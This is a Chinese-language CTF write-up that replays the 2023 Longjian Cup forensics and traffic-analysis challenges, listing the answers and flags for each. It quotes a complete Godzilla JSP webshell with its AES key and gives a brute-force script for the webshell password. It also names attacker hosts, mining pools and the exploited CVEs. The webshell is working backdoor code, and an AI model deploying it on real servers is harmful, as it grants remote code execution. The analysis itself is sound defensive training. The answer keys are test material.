2023陇剑杯------复现
找其他师傅要了附件,玩一玩,水一水
hard_web_1
统计会话,60字节的为连接失败
结果为80;888;8888
hard_web_2
分析流量包,找到shell.jsp
中的java代码
很明显的哥斯拉jspshell,可以自己生成一个对比看看
String xc = "748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class)session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {}
传输内容aes加密,密钥为748007e861908c03
,gzip压缩,解密即可
结果为flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard_web_3
慢慢找请求和返回包,可以找到密码组成1***y
哥斯拉加密流量中的key是密码的md5值的前16位或后16位,暴力跑
from hashlib import md5
import sys
for a in range(32,127):
for b in range(32,127):
for c in range(32,127):
for d in range(32,127):
key = f"1{chr(a)}{chr(b)}{chr(c)}{chr(d)}y"
my_md5= md5()
my_md5.update(key.encode("utf-8"))
res = my_md5.hexdigest()
if res.find("748007e861908c03") != -1:
print(f"The password is {key}")
sys.exit(0)
结果为14mk3y
server save_1
查看权限前,发送了如下请求
然后就使用了shell.jsp
查看权限
经查是Spring的漏洞CVE-2022-22965
结果为CVE-2022-22965
server save_2
远程拉取反弹shell的脚本
结果为192.168.43.128:2333
server save_3
该文件的修改时间在bbbb.sh
之后
结果为main
server save_4
查看shadow
,还以为要分析病毒
结果为11:123456
server save_5
只看到这里有/home/guest/.log.txt
结果为172.105.202.239
server save_6
微步云沙箱跑了一下,前面几题也就明朗了
结果为lolMiner,mine_doge.sh
server save_7
结果为doge.millpools.cc:5567
server save_8
结果为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
Wireshark1_1
结果为192.168.246.28
Wireshark1_2
结果为youcannevergetthis
Wireshark1_3
结果为Downloads
Wireshark1_4
结果为mysql
IncidentResponse_1
ova镜像xways无法识别,不过ova可以解压出一个vmdk来,这样就可以识别了
查看历史命令,发现保存了运行日志
btmp可以找到一个ip的大量登录失败记录81.70.166.3
分析nohup.log
、access.log
等日志,早期有尝试sql注入
不过根据后面的批量请求来看,大概率是打了shiro的反序列化漏洞
然而日志里没发看传得参数,不知道执行了哪些命令,无奈xways递归所有文件,按修改时间排序,慢慢排查,发现redis.sh
然后在redis.conf
里面找到矿池地址
结果为redis-server
IncidentResponse_2
结果为donate.v2.xmrig.com:3333
IncidentResponse_3
结果为shiro反序列化
IncidentResponse_4
结果为81.70.166.3
IncidentResponse_5
结果为Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
IncidentResponse_6
配置了ssh
结果为/root/.ssh/authorized_keys
IncidentResponse_7
这个时间顺序出现redis.server
是不正常的,而且路径被放到了systemd
下面,开机自启
结果为/lib/systemd/system/redis.service
SmallSword_1
找到第一次shell请求成功的包
蚁剑的请求包,请求的key就是密码
结果为6ea280898e404bfabd0ebb702327b19f
SmallSword_2
结果为ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3
流量里没有看到直接获取的flag,注意到这条流量
拉了个火绒下来
保存一下
先跑个云沙箱看看,检测不出来,文件头有多于数据
放了个图片出来
虚拟机运行一下,看图片
后缀jpg,实际png,改高度
结果为flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
ez_web_1
http过滤器,info搜索200 OK
可以看到写马
结果为ViewMode.php
ez_web_2
结果为192.168.101.132
ez_web_3
传了个压缩包
压缩包有密码,之前的流量中有获取/passwd
,得到密码
结果为7d9ddff2-2d67-4eba-9e48-b91c26c42337
baby_forensics_1
随波逐流梭
结果为2e80307085fd2b5c49c968c323ee25d5
实际上内存也有
baby_forensics_2
很少人用的windows
命令,人家就是要考这个
结果为7598632541
baby_forensics_3
r-studio扫描一下,桌面、文档都没发现信息,音乐里发现内容,看文件名应该是密码qwerasdf
接下来就是寻找密文
发现打开了便签StikyNot.exe
memdump导出其内存,苦苦搜寻密文,最后是用对称加密的特征U2Fsd
找到的密文,注意\par
需要去掉,一看就不是密文内容(strings会因为这个标识搜不出完整密文,卡我蛮久)
结果为flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
tcpdump_1
结果为TMjpxFGQwD:123457
tcpdump_2
刚登录进去是,userid=2,后续操作中部分流量改为1,测试越权
因此cookie为accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
结果为383c74db4e32513daaa1eeb1726d7255
tcpdump_3
追踪tcp流,在它上一个流中,还能看到个flagflag{7c9d4821-64dc-406c-b02b-f3538b4cba74}
结果为zyplayer:1234567
tcpdump_4
这里很明显在打洞,关键词是pgsql
搜一下是CVE-2022-21724:custom.dtd.xml
tcpdump_5
继续追流,明显的fscan
结果为fscan
hacked_1
登录成功的请求,但是用户名和密码是加密状态
后续流量发现key和iv
aes解密
结果为flag{WelC0m5_TO_H3re}
hacked_2
结果为ssti_flask_hsfvaldb
hacked_3
结果为red
hacked_4
对比一个无法解析的session
而Index
这个路由却可以显示数据,说明这个路由就是写入的内存马的路由
结果为Index